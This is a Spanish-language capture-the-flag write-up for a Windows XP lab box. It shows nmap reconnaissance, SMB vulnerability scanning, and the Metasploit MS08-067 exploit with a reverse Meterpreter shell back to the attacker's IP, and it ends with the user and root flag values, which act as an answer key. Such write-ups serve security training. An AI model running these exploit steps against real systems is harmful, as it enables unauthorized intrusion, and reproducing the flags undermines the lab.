Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es realizar un escaneo completo de los puertos y servicios expuestos de la máquina objetivo (IP del Lab: 10.129.227.181) para analizar la superficie de ataque.
Escaneo Completo de Nmap
Ejecutamos un escaneo de puertos TCP completo (-p-), identificando las versiones de los servicios (-sV) y aplicando scripts de enumeración básica (-A), con velocidad muy agresiva (-T5):
sudo nmap -sV -T5 -A -p- 10.129.227.181
Resultados Clave de Nmap
El escaneo detecta 3 puertos abiertos principales en un entorno Windows heredado:
- Puerto 135 (MSRPC): Microsoft Windows RPC.
- Puerto 139 (NetBIOS-SSN): Sesión NetBIOS de Windows.
- Puerto 445 (Microsoft-DS): SMBv1 corriendo sobre Windows XP.
El hallazgo de una máquina Windows XP desactualizada con el puerto 445 (SMB) expuesto nos sugiere de inmediato comprobar vulnerabilidades clásicas del protocolo Server Message Block como MS08-067 y MS17-010.
Fase 2: Análisis de Vulnerabilidades (Scripting de Nmap)
Utilizamos el motor de scripts de Nmap (NSE) para comprobar si el puerto 445 (SMB) de la máquina víctima es vulnerable a fallos conocidos de ejecución remota de código en Windows heredados:
sudo nmap -sV -T5 -A -p- --script=smb-vuln* 10.129.227.181
El escaneo de vulnerabilidades reporta dos fallos críticos explotables de manera remota:
- MS08-067 (CVE-2008-4250): Desbordamiento de pila en el servicio de servidor (
netsvcs) de Windows al procesar peticiones RPC maliciosas con rutas de archivos mal formadas. - MS17-010 (CVE-2017-0143): Vulnerabilidad EternalBlue en el procesamiento de paquetes SMBv1.
Dado que la máquina corre Windows XP, el exploit MS08-067 es la vía de ataque más clásica, directa y altamente estable para esta arquitectura.
Fase 3: Explotación del Servicio SMB (MS08-067)
Configuración del Exploit en Metasploit
Iniciamos Metasploit (msfconsole), buscamos el exploit de MS08-067 y lo cargamos:
msfconsole
msf > search CVE-2008-4250
use exploit/windows/smb/ms08_067_netapi
show options
Configuramos las variables del exploit con la IP de la máquina víctima (Lab: 10.129.227.181) y nuestra IP de Kali (LHOST=10.10.15.148):
set RHOSTS 10.129.227.181
set LHOST 10.10.15.148
exploit
El exploit corrompe la pila de memoria del servicio Server de Windows XP y ejecuta el payload en memoria, devolviéndonos una sesión de Meterpreter directamente.
Fase 4: Escalada de Privilegios y Lectura de Flags
¿Por qué no es necesaria la escalada de privilegios?
La vulnerabilidad MS08-067 corrompe la memoria del subproceso netsvcs (dentro de svchost.exe), que aloja el servicio del Servidor de Windows (lanmanserver). Este servicio corre con los máximos privilegios del sistema operativo. Por lo tanto, al obtener la consola reversa, heredamos automáticamente la identidad de su propietario.
Ejecutamos el comando getuid en el prompt de Meterpreter para verificarlo:
getuid
El servidor nos confirma que somos NT AUTHORITY\SYSTEM (acceso total de nivel administrativo).
Fase 5: Obtención de Flags
En Windows XP, las carpetas de perfil de usuario no se almacenan en C:\Users sino en la ruta heredada C:\Documents and Settings.
Flag de Usuario (user.txt)
Navegamos a la carpeta del perfil del usuario local john y leemos su flag:
cd "C:\Documents and Settings"
ls
cd john/Desktop
cat user.txt
- Flag de Usuario:
e69af0e4f443de7e36876fda4ec7644f
Flag de Administrador (root.txt)
Nos desplazamos al directorio del perfil del Administrador para obtener la flag de root:
cd "C:\Documents and Settings\Administrator\Desktop"
cat root.txt
- Flag de Root:
993442d258b0ec917cae9e695d5713
Fuentes y Referencias
- Microsoft Security Bulletin MS08-067: Boletín oficial de Microsoft referente a la vulnerabilidad crítica en el servicio Server de Windows.
- CVE-2008-4250 (Mitre CVE Database): Registro de vulnerabilidad del desbordamiento en NetAPI32.